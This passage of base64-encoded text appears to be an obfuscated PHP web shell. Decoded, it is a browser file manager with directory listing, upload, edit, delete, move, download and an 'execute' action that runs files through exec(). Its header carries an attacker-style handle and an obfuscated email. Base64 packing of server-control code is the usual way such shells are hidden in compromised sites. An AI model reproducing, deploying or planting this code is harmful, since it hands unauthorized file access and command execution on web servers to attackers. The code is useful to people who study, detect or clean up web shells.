bW9kZSAmIDAwMDAyKSA/ICd3JyA6ICctJzsNCglpZiAoJG1vZGUgJiAweDIwMCkgew0KCQkkb3RoZXIgLj0gKCRtb2RlICYgMDAwMDEpID8gJ3QnIDogJ1QnOw0KCX0gZWxzZSB7DQoJCSRvdGhlciAuPSAoJG1vZGUgJiAwMDAwMSkgPyAneCcgOiAnLSc7DQoJfQ0KDQoJcmV0dXJuICR0eXBlIC4gJG93bmVyIC4gJGdyb3VwIC4gJG90aGVyOw0KDQp9DQoNCmZ1bmN0aW9uIGlzX3NjcmlwdCAoJGZpbGVuYW1lKSB7DQoJcmV0dXJuIGVyZWcoJ1wucGhwJHxcLnBocDMkfFwucGhwNCR8XC5waHA1JCcsICRmaWxlbmFtZSk7DQp9DQoNCmZ1bmN0aW9uIGdldG1pbWV0eXBlICgkZmlsZW5hbWUpIHsNCglzdGF0aWMgJG1pbWVzID0gYXJyYXkoDQoJCSdcLmpwZyR8XC5qcGVnJCcgID0+ICdpbWFnZS9qcGVnJywNCgkJJ1wuZ2lmJCcgICAgICAgICAgPT4gJ2ltYWdlL2dpZicsDQoJCSdcLnBuZyQnICAgICAgICAgID0+ICdpbWFnZS9wbmcnLA0KCQknXC5odG1sJHxcLmh0bWwkJyA9PiAndGV4dC9odG1sJywNCgkJJ1wudHh0JHxcLmFzYyQnICAgPT4gJ3RleHQvcGxhaW4nLA0KCQknXC54bWwkfFwueHNsJCcgICA9PiAnYXBwbGljYXRpb24veG1sJywNCgkJJ1wucGRmJCcgICAgICAgICAgPT4gJ2FwcGxpY2F0aW9uL3BkZicNCgkpOw0KDQoJZm9yZWFjaCAoJG1pbWVzIGFzICRyZWdleCA9PiAkbWltZSkgew0KCQlpZiAoZXJlZ2koJHJlZ2V4LCAkZmlsZW5hbWUpKSByZXR1cm4gJG1pbWU7DQoJfQ0KDQoJLy8gcmV0dXJuICdhcHBsaWNhdGlvbi9vY3RldC1zdHJlYW0nOw0KCXJldHVybiAndGV4dC9wbGFpbic7DQoNCn0NCg0KZnVuY3Rpb24gZGVsICgkZmlsZSkgew0KCWdsb2JhbCAkZGVsaW07DQoNCglpZiAoIUBpc19saW5rKCRmaWxlKSAmJiAhZmlsZV9leGlzdHMoJGZpbGUpKSByZXR1cm4gZmFsc2U7DQoNCglpZiAoIUBpc19saW5rKCRmaWxlKSAmJiBAaXNfZGlyKCRmaWxlKSkgew0KDQoJCWlmICgkZGlyID0gQG9wZW5kaXIoJGZpbGUpKSB7DQoNCgkJCSRlcnJvciA9IGZhbHNlOw0KDQoJCQl3aGlsZSAoKCRmID0gcmVhZGRpcigkZGlyKSkgIT09IGZhbHNlKSB7DQoJCQkJaWYgKCRmICE9ICcuJyAmJiAkZiAhPSAnLi4nICYmICFkZWwoJGZpbGUgLiAkZGVsaW0gLiAkZikpIHsNCgkJCQkJJGVycm9yID0gdHJ1ZTsNCgkJCQl9DQoJCQl9DQoJCQljbG9zZWRpcigkZGlyKTsNCg0KCQkJaWYgKCEkZXJyb3IpIHJldHVybiBAcm1kaXIoJGZpbGUpOw0KDQoJCQlyZXR1cm4gISRlcnJvcjsNCg0KCQl9IGVsc2Ugew0KCQkJcmV0dXJuIGZhbHNlOw0KCQl9DQoNCgl9IGVsc2Ugew0KCQlyZXR1cm4gQHVubGluaygkZmlsZSk7DQoJfQ0KDQp9DQoNCmZ1bmN0aW9uIGFkZHNsYXNoICgkZGlyZWN0b3J5KSB7DQoJZ2xvYmFsICRkZWxpbTsNCg0KCWlmIChzdWJzdHIoJGRpcmVjdG9yeSwgLTEsIDEpICE9ICRkZWxpbSkgew0KCQlyZXR1cm4gJGRpcmVjdG9yeSAuICRkZWxpbTsNCgl9IGVsc2Ugew0KCQlyZXR1cm4gJGRpcmVjdG9yeTsNCgl9DQoNCn0NCg0KZnVuY3Rpb24gcmVsYXRpdmUyYWJzb2x1dGUgKCRzdHJpbmcsICRkaXJlY3RvcnkpIHsNCg0KCWlmIChwYXRoX2lzX3JlbGF0aXZlKCRzdHJpbmcpKSB7DQoJCXJldHVybiBzaW1wbGlmeV9wYXRoKGFkZHNsYXNoKCRkaXJlY3RvcnkpIC4gJHN0cmluZyk7DQoJfSBlbHNlIHsNCgkJcmV0dXJuIHNpbXBsaWZ5X3BhdGgoJHN0cmluZyk7DQoJfQ0KDQp9DQoNCmZ1bmN0aW9uIHBhdGhfaXNfcmVsYXRpdmUgKCRwYXRoKSB7DQoJZ2xvYmFsICR3aW47DQoNCglpZiAoJHdpbikgew0KCQlyZXR1cm4gKHN1YnN0cigkcGF0aCwgMSwgMSkgIT0gJzonKTsNCgl9IGVsc2Ugew0KCQlyZXR1cm4gKHN1YnN0cigkcGF0aCwgMCwgMSkgIT0gJy8nKTsNCgl9DQoNCn0NCg0KZnVuY3Rpb24gYWJzb2x1dGUycmVsYXRpdmUgKCRkaXJlY3RvcnksICR0YXJnZXQpIHsNCglnbG9iYWwgJGRlbGltOw0KDQoJJHBhdGggPSAnJzsNCgl3aGlsZSAoJGRpcmVjdG9yeSAhPSAkdGFyZ2V0KSB7DQoJCWlmICgkZGlyZWN0b3J5ID09IHN1YnN0cigkdGFyZ2V0LCAwLCBzdHJsZW4oJGRpcmVjdG9yeSkpKSB7DQoJCQkkcGF0aCAuPSBzdWJzdHIoJHRhcmdldCwgc3RybGVuKCRkaXJlY3RvcnkpKTsNCgkJCWJyZWFrOw0KCQl9IGVsc2Ugew0KCQkJJHBhdGggLj0gJy4uJyAuICRkZWxpbTsNCgkJCSRkaXJlY3RvcnkgPSBzdWJzdHIoJGRpcmVjdG9yeSwgMCwgc3RycnBvcyhzdWJzdHIoJGRpcmVjdG9yeSwgMCwgLTEpLCAkZGVsaW0pICsgMSk7DQoJCX0NCgl9DQoJaWYgKCRwYXRoID09ICcnKSAkcGF0aCA9ICcuJzsNCg0KCXJldHVybiAkcGF0aDsNCg0KfQ0KDQpmdW5jdGlvbiBzaW1wbGlmeV9wYXRoICgkcGF0aCkgew0KCWdsb2JhbCAkZGVsaW07DQoNCglpZiAoQGZpbGVfZXhpc3RzKCRwYXRoKSAmJiBmdW5jdGlvbl9leGlzdHMoJ3JlYWxwYXRoJykgJiYgQHJlYWxwYXRoKCRwYXRoKSAhPSAnJykgew0KCQkkcGF0aCA9IHJlYWxwYXRoKCRwYXRoKTsNCgkJaWYgKEBpc19kaXIoJHBhdGgpKSB7DQoJCQlyZXR1cm4gYWRkc2xhc2goJHBhdGgpOw0KCQl9IGVsc2Ugew0KCQkJcmV0dXJuICRwYXRoOw0KCQl9DQoJfQ0KDQoJJHBhdHRlcm4gID0gJGRlbGltIC4gJy4nIC4gJGRlbGltOw0KDQoJaWYgKEBpc19kaXIoJHBhdGgpKSB7DQoJCSRwYXRoID0gYWRkc2xhc2goJHBhdGgpOw0KCX0NCg0KCXdoaWxlIChzdHJwb3MoJHBhdGgsICRwYXR0ZXJuKSAhPT0gZmFsc2UpIHsNCgkJJHBhdGggPSBzdHJfcmVwbGFjZSgkcGF0dGVybiwgJGRlbGltLCAkcGF0aCk7DQoJfQ0KDQoJJGUgPSBhZGRzbGFzaGVzKCRkZWxpbSk7DQoJJHJlZ2V4ID0gJGUgLiAnKChcLlteXC4nIC4gJGUgLiAnXVteJyAuICRlIC4gJ10qKXwoXC5cLlteJyAuICRlIC4gJ10rKXwoW15cLl1bXicgLiAkZSAuICddKikpJyAuICRlIC4gJ1wuXC4nIC4gJGU7DQoNCgl3aGlsZSAoZXJlZygkcmVnZXgsICRwYXRoKSkgew0KCQkkcGF0aCA9IGVyZWdfcmVwbGFjZSgkcmVnZXgsICRkZWxpbSwgJHBhdGgpOw0KCX0NCgkNCglyZXR1cm4gJHBhdGg7DQoNCn0NCg0KZnVuY3Rpb24gaHVtYW5fZmlsZXNpemUgKCRmaWxlc2l6ZSkgew0KDQoJJHN1ZmZpY2VzID0gJ2tNR1RQRSc7DQoNCgkkbiA9IDA7DQoJd2hpbGUgKCRmaWxlc2l6ZSA+PSAxMDAwKSB7DQoJCSRmaWxlc2l6ZSAvPSAxMDI0Ow0KCQkkbisrOw0KCX0NCg0KCSRmaWxlc2l6ZSA9IHJvdW5kKCRmaWxlc2l6ZSwgMyAtIHN0cnBvcygkZmlsZXNpemUsICcuJykpOw0KDQoJaWYgKHN0cnBvcygkZmlsZXNpemUsICcuJykgIT09IGZhbHNlKSB7DQoJCXdoaWxlIChpbl9hcnJheShzdWJzdHIoJGZpbGVzaXplLCAtMSwgMSksIGFycmF5KCcwJywgJy4nKSkpIHsNCgkJCSRmaWxlc2l6ZSA9IHN1YnN0cigkZmlsZXNpemUsIDAsIHN0cmxlbigkZmlsZXNpemUpIC0gMSk7DQoJCX0NCgl9DQoNCgkkc3VmZml4ID0gKCgkbiA9PSAwKSA/ICcnIDogc3Vic3RyKCRzdWZmaWNlcywgJG4gLSAxLCAxKSk7DQoNCglyZXR1cm4gJGZpbGVzaXplIC4gIiB7JHN1ZmZpeH1CIjsNCg0KfQ0KDQpmdW5jdGlvbiBzdHJpcCAoJiRzdHIpIHsNCgkkc3RyID0gc3RyaXBzbGFzaGVzKCRzdHIpOw0KfQ0KDQovKiAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tICovDQoNCmZ1bmN0aW9uIGxpc3RpbmdfcGFnZSAoJG1lc3NhZ2UgPSBudWxsKSB7DQoJZ2xvYmFsICRzZWxmLCAkZGlyZWN0b3J5LCAkc29ydCwgJHJldmVyc2U7DQoNCglodG1sX2hlYWRlcigpOw0KDQoJJGxpc3QgPSBnZXRsaXN0KCRkaXJlY3RvcnkpOw0KDQoJaWYgKGFycmF5X2tleV9leGlzdHMoJ3NvcnQnLCAkX0dFVCkpICRzb3J0ID0gJF9HRVRbJ3NvcnQnXTsgZWxzZSAkc29ydCA9ICdmaWxlbmFtZSc7DQoJaWYgKGFycmF5X2tleV9leGlzdHMoJ3JldmVyc2UnLCAkX0dFVCkgJiYgJF9HRVRbJ3JldmVyc2UnXSA9PSAndHJ1ZScpICRyZXZlcnNlID0gdHJ1ZTsgZWxzZSAkcmV2ZXJzZSA9IGZhbHNlOw0KDQoJc29ydGxpc3QoJGxpc3QsICRzb3J0LCAkcmV2ZXJzZSk7DQoNCgllY2hvICc8Yj48dT5raWQgPD4geDNxKGF0KWhvdG1haWwoZG90KWNvbTwvdT48L2I+PC9oMT4NCg0KPGZvcm0gZW5jdHlwZT0ibXVsdGlwYXJ0L2Zvcm0tZGF0YSIgYWN0aW9uPSInIC4gJHNlbGYgLiAnIiBtZXRob2Q9InBvc3QiPg0KDQo8dGFibGUgaWQ9Im1haW4iPg0KJzsNCg0KCWRpcmVjdG9yeV9jaG9pY2UoKTsNCg0KCWlmICghZW1wdHkoJG1lc3NhZ2UpKSB7DQoJCXNwYWNlcigpOw0KCQllY2hvICRtZXNzYWdlOw0KCX0NCg0KCWlmIChAaXNfd3JpdGFibGUoJGRpcmVjdG9yeSkpIHsNCgkJdXBsb2FkX2JveCgpOw0KCQljcmVhdGVfYm94KCk7DQoJfSBlbHNlIHsNCgkJc3BhY2VyKCk7DQoJfQ0KDQoJaWYgKCRsaXN0KSB7DQoJCWxpc3RpbmcoJGxpc3QpOw0KCX0gZWxzZSB7DQoJCWVjaG8gZXJyb3IoJ25vdF9yZWFkYWJsZScsICRkaXJlY3RvcnkpOw0KCX0NCg0KCWVjaG8gJzwvdGFibGU+DQoNCjwvZm9ybT4NCg0KJzsNCg0KCWh0bWxfZm9vdGVyKCk7DQoNCn0NCg0KZnVuY3Rpb24gbGlzdGluZyAoJGxpc3QpIHsNCglnbG9iYWwgJGRpcmVjdG9yeSwgJGhvbWVkaXIsICRzb3J0LCAkcmV2ZXJzZSwgJHdpbiwgJGNvbHMsICRkYXRlX2Zvcm1hdCwgJHNlbGY7DQoNCgllY2hvICc8dHIgY2xhc3M9Imxpc3RpbmciPg0KCTx0aCBzdHlsZT0idGV4dC1hbGlnbjogY2VudGVyOyB2ZXJ0aWNhbC1hbGlnbjogbWlkZGxlIj48aW1nIHNyYz0iJyAuICRzZWxmIC4gJz9pbWFnZT1zbWlsZXkiIGFsdD0ic21pbGV5IiAvPjwvdGg+DQonOw0KDQoJJGQgPSAnZGlyPScgLiB1cmxlbmNvZGUoJGRpcmVjdG9yeSkgLiAnJmFtcDsnOw0KDQoJaWYgKCEkcmV2ZXJzZSAmJiAkc29ydCA9PSAnZmlsZW5hbWUnKSAkciA9ICcmYW1wO3JldmVyc2U9dHJ1ZSc7IGVsc2UgJHIgPSAnJzsNCgllY2hvICJcdDx0aCBjbGFzcz1cImZpbGVuYW1lXCI+PGEgaHJlZj1cIiRzZWxmP3skZH1zb3J0PWZpbGVuYW1lJHJcIj4iIC4gd29yZCgnZmlsZW5hbWUnKSAuICI8L2E+PC90aD5cbiI7DQoNCglpZiAoISRyZXZlcnNlICYmICRzb3J0ID09ICdzaXplJykgJHIgPSAnJmFtcDtyZXZlcnNlPXRydWUnOyBlbHNlICRyID0gJyc7DQoJZWNobyAiXHQ8dGggY2xhc3M9XCJzaXplXCI+PGEgaHJlZj1cIiRzZWxmP3skZH1zb3J0PXNpemUkclwiPiIgLiB3b3JkKCdzaXplJykgLiAiPC9hPjwvdGg+XG4iOw0KDQoJaWYgKCEkd2luKSB7DQoNCgkJaWYgKCEkcmV2ZXJzZSAmJiAkc29ydCA9PSAncGVybWlzc2lvbicpICRyID0gJyZhbXA7cmV2ZXJzZT10cnVlJzsgZWxzZSAkciA9ICcnOw0KCQllY2hvICJcdDx0aCBjbGFzcz1cInBlcm1pc3Npb25faGVhZGVyXCI+PGEgaHJlZj1cIiRzZWxmP3skZH1zb3J0PXBlcm1pc3Npb24kclwiPiIgLiB3b3JkKCdwZXJtaXNzaW9uJykgLiAiPC9hPjwvdGg+XG4iOw0KDQoJCWlmICghJHJldmVyc2UgJiYgJHNvcnQgPT0gJ293bmVyJykgJHIgPSAnJmFtcDtyZXZlcnNlPXRydWUnOyBlbHNlICRyID0gJyc7DQoJCWVjaG8gIlx0PHRoIGNsYXNzPVwib3duZXJcIj48YSBocmVmPVwiJHNlbGY/eyRkfXNvcnQ9b3duZXIkclwiPiIgLiB3b3JkKCdvd25lcicpIC4gIjwvYT48L3RoPlxuIjsNCg0KCQlpZiAoISRyZXZlcnNlICYmICRzb3J0ID09ICdncm91cCcpICRyID0gJyZhbXA7cmV2ZXJzZT10cnVlJzsgZWxzZSAkciA9ICcnOw0KCQllY2hvICJcdDx0aCBjbGFzcz1cImdyb3VwXCI+PGEgaHJlZj1cIiRzZWxmP3skZH1zb3J0PWdyb3VwJHJcIj4iIC4gd29yZCgnZ3JvdXAnKSAuICI8L2E+PC90aD5cbiI7DQoNCgl9DQoNCgllY2hvICcJPHRoIGNsYXNzPSJmdW5jdGlvbnMiPicgLiB3b3JkICgnZnVuY3Rpb25zJykgIC4gJzwvdGg+DQo8L3RyPg0KJzsNCg0KCWZvciAoJGkgPSAwOyAkaSA8IHNpemVvZigkbGlzdCk7ICRpKyspIHsNCgkJJGZpbGUgPSAkbGlzdFskaV07DQoNCgkJJHRpbWVzdGFtcHMgID0gJ210aW1lOiAnIC4gZGF0ZSgkZGF0ZV9mb3JtYXQsICRmaWxlWydtdGltZSddKSAuICcsICc7DQoJCSR0aW1lc3RhbXBzIC49ICdhdGltZTogJyAuIGRhdGUoJGRhdGVfZm9ybWF0LCAkZmlsZVsnYXRpbWUnXSkgLiAnLCAnOw0KCQkkdGltZXN0YW1wcyAuPSAnY3RpbWU6ICcgLiBkYXRlKCRkYXRlX2Zvcm1hdCwgJGZpbGVbJ2N0aW1lJ10pOw0KDQoJCWVjaG8gJzx0ciBjbGFzcz0ibGlzdGluZyI+DQoJPHRkIGNsYXNzPSJjaGVja2JveCI+PGlucHV0IHR5cGU9ImNoZWNrYm94IiBuYW1lPSJjaGVja2VkJyAuICRpIC4gJyIgdmFsdWU9InRydWUiIG9uZm9jdXM9ImFjdGl2YXRlKFwnb3RoZXJcJykiIC8+PC90ZD4NCgk8dGQgY2xhc3M9ImZpbGVuYW1lIiB0aXRsZT0iJyAuIGh0bWwoJHRpbWVzdGFtcHMpIC4gJyI+JzsNCg0KCQlpZiAoJGZpbGVbJ2lzX2xpbmsnXSkgew0KDQoJCQllY2hvICc8aW1nIHNyYz0iJyAuICRzZWxmIC4gJz9pbWFnZT1saW5rIiBhbHQ9ImxpbmsiIC8+ICc7DQoJCQllY2hvIGh0bWwoJGZpbGVbJ2ZpbGVuYW1lJ10pIC4gJyAmcmFycjsgJzsNCg0KCQkJJHJlYWxfZmlsZSA9IHJlbGF0aXZlMmFic29sdXRlKCRmaWxlWyd0YXJnZXQnXSwgJGRpcmVjdG9yeSk7DQoNCgkJCWlmIChAaXNfcmVhZGFibGUoJHJlYWxfZmlsZSkpIHsNCgkJCQlpZiAoQGlzX2RpcigkcmVhbF9maWxlKSkgew0KCQkJCQllY2hvICdbIDxhIGhyZWY9IicgLiAkc2VsZiAuICc/ZGlyPScgLiB1cmxlbmNvZGUoJHJlYWxfZmlsZSkgLiAnIj4nIC4gaHRtbCgkZmlsZVsndGFyZ2V0J10pIC4gJzwvYT4gXSc7DQoJCQkJfSBlbHNlIHsNCgkJCQkJZWNobyAnPGEgaHJlZj0iJyAuICRzZWxmIC4gJz9hY3Rpb249dmlldyZhbXA7ZmlsZT0nIC4gdXJsZW5jb2RlKCRyZWFsX2ZpbGUpIC4gJyI+JyAuIGh0bWwoJGZpbGVbJ3RhcmdldCddKSAuICc8L2E+JzsNCgkJCQl9DQoJCQl9IGVsc2Ugew0KCQkJCWVjaG8gaHRtbCgkZmlsZVsndGFyZ2V0J10pOw0KCQkJfQ0KDQoJCX0gZWxzZWlmICgkZmlsZVsnaXNfZGlyJ10pIHsNCg0KCQkJZWNobyAnPGltZyBzcmM9IicgLiAkc2VsZiAuICc/aW1hZ2U9Zm9sZGVyIiBhbHQ9ImZvbGRlciIgLz4gWyAnOw0KCQkJaWYgKCRmaWxlWydpc19yZWFkYWJsZSddICYmICRmaWxlWydpc19leGVjdXRhYmxlJ10pIHsNCgkJCQllY2hvICc8YSBocmVmPSInIC4gJHNlbGYgLiAnP2Rpcj0nIC4gdXJsZW5jb2RlKCRmaWxlWydwYXRoJ10pIC4gJyI+JyAuIGh0bWwoJGZpbGVbJ2ZpbGVuYW1lJ10pIC4gJzwvYT4nOw0KCQkJfSBlbHNlIHsNCgkJCQllY2hvIGh0bWwoJGZpbGVbJ2ZpbGVuYW1lJ10pOw0KCQkJfQ0KCQkJZWNobyAnIF0nOw0KDQoJCX0gZWxzZSB7DQoNCgkJCWlmIChzdWJzdHIoJGZpbGVbJ2ZpbGVuYW1lJ10sIDAsIDEpID09ICcuJykgew0KCQkJCWVjaG8gJzxpbWcgc3JjPSInIC4gJHNlbGYgLiAnP2ltYWdlPWhpZGRlbl9maWxlIiBhbHQ9ImhpZGRlbiBmaWxlIiAvPiAnOw0KCQkJfSBlbHNlIHsNCgkJCQllY2hvICc8aW1nIHNyYz0iJyAuICRzZWxmIC4gJz9pbWFnZT1maWxlIiBhbHQ9ImZpbGUiIC8+ICc7DQoJCQl9DQoNCgkJCWlmICgkZmlsZVsnaXNfZmlsZSddICYmICRmaWxlWydpc19yZWFkYWJsZSddKSB7DQoJCQkgICBlY2hvICc8YSBocmVmPSInIC4gJHNlbGYgLiAnP2FjdGlvbj12aWV3JmFtcDtmaWxlPScgLiB1cmxlbmNvZGUoJGZpbGVbJ3BhdGgnXSkgLiAnIj4nIC4gaHRtbCgkZmlsZVsnZmlsZW5hbWUnXSkgLiAnPC9hPic7DQoJCQl9IGVsc2Ugew0KCQkJCWVjaG8gaHRtbCgkZmlsZVsnZmlsZW5hbWUnXSk7DQoJCQl9DQoNCgkJfQ0KDQoJCWlmICgkZmlsZVsnc2l6ZSddID49IDEwMDApIHsNCgkJCSRodW1hbiA9ICcgdGl0bGU9IicgLiBodW1hbl9maWxlc2l6ZSgkZmlsZVsnc2l6ZSddKSAuICciJzsNCgkJfSBlbHNlIHsNCgkJCSRodW1hbiA9ICcnOw0KCQl9DQoNCgkJZWNobyAiXHQ8dGQgY2xhc3M9XCJzaXplXCIkaHVtYW4+eyRmaWxlWydzaXplJ119IEI8L3RkPlxuIjsNCg0KCQlpZiAoISR3aW4pIHsNCg0KCQkJZWNobyAiXHQ8dGQgY2xhc3M9XCJwZXJtaXNzaW9uXCIgdGl0bGU9XCIiIC4gZGVjb2N0KCRmaWxlWydwZXJtaXNzaW9uJ10pIC4gJyI+JzsNCg0KCQkJJGwgPSAhJGZpbGVbJ2lzX2xpbmsnXSAmJiAoIWZ1bmN0aW9uX2V4aXN0cygncG9zaXhfZ2V0dWlkJykgfHwgJGZpbGVbJ293bmVyJ10gPT0gcG9zaXhfZ2V0dWlkKCkpOw0KCQkJaWYgKCRsKSBlY2hvICc8YSBocmVmPSInIC4gJHNlbGYgLiAnP2FjdGlvbj1wZXJtaXNzaW9uJmFtcDtmaWxlPScgLiB1cmxlbmNvZGUoJGZpbGVbJ3BhdGgnXSkgLiAnJmFtcDtkaXI9JyAuIHVybGVuY29kZSgkZGlyZWN0b3J5KSAuICciPic7DQoJCQllY2hvIGh0bWwocGVybWlzc2lvbl9vY3RhbDJzdHJpbmcoJGZpbGVbJ3Blcm1pc3Npb24nXSkpOw0KCQkJaWYgKCRsKSBlY2hvICc8L2E+JzsNCg0KCQkJZWNobyAiPC90ZD5cbiI7DQoNCgkJCWlmIChhcnJheV9rZXlfZXhpc3RzKCdvd25lcl9uYW1lJywgJGZpbGUpKSB7DQoJCQkJZWNobyAiXHQ8dGQgY2xhc3M9XCJvd25lclwiIHRpdGxlPVwidWlkOiB7JGZpbGVbJ293bmVyJ119XCI+eyRmaWxlWydvd25lcl9uYW1lJ119PC90ZD5cbiI7DQoJCQl9IGVsc2Ugew0KCQkJCWVjaG8gIlx0PHRkIGNsYXNzPVwib3duZXJcIj57JGZpbGVbJ293bmVyJ119PC90ZD5cbiI7DQoJCQl9DQoNCgkJCWlmIChhcnJheV9rZXlfZXhpc3RzKCdncm91cF9uYW1lJywgJGZpbGUpKSB7DQoJCQkJZWNobyAiXHQ8dGQgY2xhc3M9XCJncm91cFwiIHRpdGxlPVwiZ2lkOiB7JGZpbGVbJ2dyb3VwJ119XCI+eyRmaWxlWydncm91cF9uYW1lJ119PC90ZD5cbiI7DQoJCQl9IGVsc2Ugew0KCQkJCWVjaG8gIlx0PHRkIGNsYXNzPVwiZ3JvdXBcIj57JGZpbGVbJ2dyb3VwJ119PC90ZD5cbiI7DQoJCQl9DQoNCgkJfQ0KDQoJCWVjaG8gJwk8dGQgY2xhc3M9ImZ1bmN0aW9ucyI+DQoJCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImZpbGUnIC4gJGkgLiAnIiB2YWx1ZT0iJyAuIGh0bWwoJGZpbGVbJ3BhdGgnXSkgLiAnIiAvPg0KJzsNCg0KCQkkYWN0aW9ucyA9IGFycmF5KCk7DQoJCWlmIChmdW5jdGlvbl9leGlzdHMoJ3N5bWxpbmsnKSkgew0KCQkJJGFjdGlvbnNbXSA9ICdjcmVhdGVfc3ltbGluayc7DQoJCX0NCgkJaWYgKEBpc193cml0YWJsZShkaXJuYW1lKCRmaWxlWydwYXRoJ10pKSkgew0KCQkJJGFjdGlvbnNbXSA9ICdkZWxldGUnOw0KCQkJJGFjdGlvbnNbXSA9ICdyZW5hbWUnOw0KCQkJJGFjdGlvbnNbXSA9ICdtb3ZlJzsNCgkJfQ0KCQlpZiAoJGZpbGVbJ2lzX2ZpbGUnXSAmJiAkZmlsZVsnaXNfcmVhZGFibGUnXSkgew0KCQkJJGFjdGlvbnNbXSA9ICdjb3B5JzsNCgkJCSRhY3Rpb25zW10gPSAnZG93bmxvYWQnOw0KCQkJaWYgKCRmaWxlWydpc193cml0YWJsZSddKSAkYWN0aW9uc1tdID0gJ2VkaXQnOw0KCQl9DQoJCWlmICghJHdpbiAmJiBmdW5jdGlvbl9leGlzdHMoJ2V4ZWMnKSAmJiAkZmlsZVsnaXNfZmlsZSddICYmICRmaWxlWydpc19leGVjdXRhYmxlJ10gJiYgZmlsZV9leGlzdHMoJy9iaW4vc2gnKSkgew0KCQkJJGFjdGlvbnNbXSA9ICdleGVjdXRlJzsNCgkJfQ0KDQoJCWlmIChzaXplb2YoJGFjdGlvbnMpID4gMCkgew0KDQoJCQllY2hvICcJCTxzZWxlY3QgY2xhc3M9InNtYWxsIiBuYW1lPSJhY3Rpb24nIC4gJGkgLiAnIiBzaXplPSIxIj4NCgkJPG9wdGlvbiB2YWx1ZT0iIj4nIC4gc3RyX3JlcGVhdCgnJm5ic3A7JywgMzApIC4gJzwvb3B0aW9uPg0KJzsNCg0KCQkJZm9yZWFjaCAoJGFjdGlvbnMgYXMgJGFjdGlvbikgew0KCQkJCWVjaG8gIlx0XHQ8b3B0aW9uIHZhbHVlPVwiJGFjdGlvblwiPiIgLiB3b3JkKCRhY3Rpb24pIC4gIjwvb3B0aW9uPlxuIjsNCgkJCX0NCg0KCQkJZWNobyAnCQk8L3NlbGVjdD4NCgkJPGlucHV0IGNsYXNzPSJzbWFsbCIgdHlwZT0ic3VibWl0IiBuYW1lPSJzdWJtaXQnIC4gJGkgLiAnIiB2YWx1ZT0iICZndDsgIiBvbmZvY3VzPSJhY3RpdmF0ZShcJ290aGVyXCcpIiAvPg0KJzsNCg0KCQl9DQoNCgkJZWNobyAnCTwvdGQ+DQo8L3RyPg0KJzsNCg0KCX0NCg0KCWVjaG8gJzx0ciBjbGFzcz0ibGlzdGluZ19mb290ZXIiPg0KCTx0ZCBzdHlsZT0idGV4dC1hbGlnbjogcmlnaHQ7IHZlcnRpY2FsLWFsaWduOiB0b3AiPjxpbWcgc3JjPSInIC4gJHNlbGYgLiAnP2ltYWdlPWFycm93IiBhbHQ9IiZndDsiIC8+PC90ZD4NCgk8dGQgY29sc3Bhbj0iJyAuICgkY29scyAtIDEpIC4gJyI+DQoJCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9Im51bSIgdmFsdWU9IicgLiBzaXplb2YoJGxpc3QpIC4gJyIgLz4NCgkJPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZm9jdXMiIHZhbHVlPSIiIC8+DQoJCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9Im9sZGRpciIgdmFsdWU9IicgLiBodG1sKCRkaXJlY3RvcnkpIC4gJyIgLz4NCic7DQoNCgkkYWN0aW9ucyA9IGFycmF5KCk7DQoJaWYgKEBpc193cml0YWJsZShkaXJuYW1lKCRmaWxlWydwYXRoJ10pKSkgew0KCQkkYWN0aW9uc1tdID0gJ2RlbGV0ZSc7DQoJCSRhY3Rpb25zW10gPSAnbW92ZSc7DQoJfQ0KCSRhY3Rpb25zW10gPSAnY29weSc7DQoNCgllY2hvICcJCTxzZWxlY3QgY2xhc3M9InNtYWxsIiBuYW1lPSJhY3Rpb25fYWxsIiBzaXplPSIxIj4NCgkJPG9wdGlvbiB2YWx1ZT0iIj4nIC4gc3RyX3JlcGVhdCgnJm5ic3A7JywgMzApIC4gJzwvb3B0aW9uPg0KJzsNCg0KCWZvcmVhY2ggKCRhY3Rpb25zIGFzICRhY3Rpb24pIHsNCgkJZWNobyAiXHRcdDxvcHRpb24gdmFsdWU9XCIkYWN0aW9uXCI+IiAuIHdvcmQoJGFjdGlvbikgLiAiPC9vcHRpb24+XG4iOw0KCX0NCg0KCWVjaG8gJwkJPC9zZWxlY3Q+DQoJCTxpbnB1dCBjbGFzcz0ic21hbGwiIHR5cGU9InN1Ym1pdCIgbmFtZT0ic3VibWl0X2FsbCIgdmFsdWU9IiAmZ3Q7ICIgb25mb2N1cz0iYWN0aXZhdGUoXCdvdGhlclwnKSIgLz4NCgk8L3RkPg0KPC90cj4NCic7DQoNCn0NCg0KZnVuY3Rpb24gZGlyZWN0b3J5X2Nob2ljZSAoKSB7DQoJZ2xvYmFsICRkaXJlY3RvcnksICRob21lZGlyLCAkY29scywgJHNlbGY7DQoNCgllY2hvICc8dHI+DQoJPHRkIGNvbHNwYW49IicgLiAkY29scyAuICciIGlkPSJkaXJlY3RvcnkiPg0KCQk8YSBocmVmPSInIC4gJHNlbGYgLiAnP2Rpcj0nIC4gdXJsZW5jb2RlKCRob21lZGlyKSAuICciPicgLiB3b3JkKCdkaXJlY3RvcnknKSAuICc8L2E+Og0KCQk8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iZGlyIiBzaXplPSInIC4gdGV4dGZpZWxkc2l6ZSgkZGlyZWN0b3J5KSAuICciIHZhbHVlPSInIC4gaHRtbCgkZGlyZWN0b3J5KSAuICciIG9uZm9jdXM9ImFjdGl2YXRlKFwnZGlyZWN0b3J5XCcpIiAvPg0KCQk8aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJjaGFuZ2VkaXIiIHZhbHVlPSInIC4gd29yZCgnY2hhbmdlJykgLiAnIiBvbmZvY3VzPSJhY3RpdmF0ZShcJ2RpcmVjdG9yeVwnKSIgLz4NCgk8L3RkPg0KPC90cj4NCic7DQoNCn0NCg0KZnVuY3Rpb24gdXBsb2FkX2JveCAoKSB7DQoJZ2xvYmFsICRjb2xzOw0KDQoJZWNobyAnPHRyPg0KCTx0ZCBjb2xzcGFuPSInIC4gJGNvbHMgLiAnIiBpZD0idXBsb2FkIj4NCgkJJyAuIHdvcmQoJ2ZpbGUnKSAuICc6DQoJCTxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJ1cGxvYWQiIG9uZm9jdXM9ImFjdGl2YXRlKFwnb3RoZXJ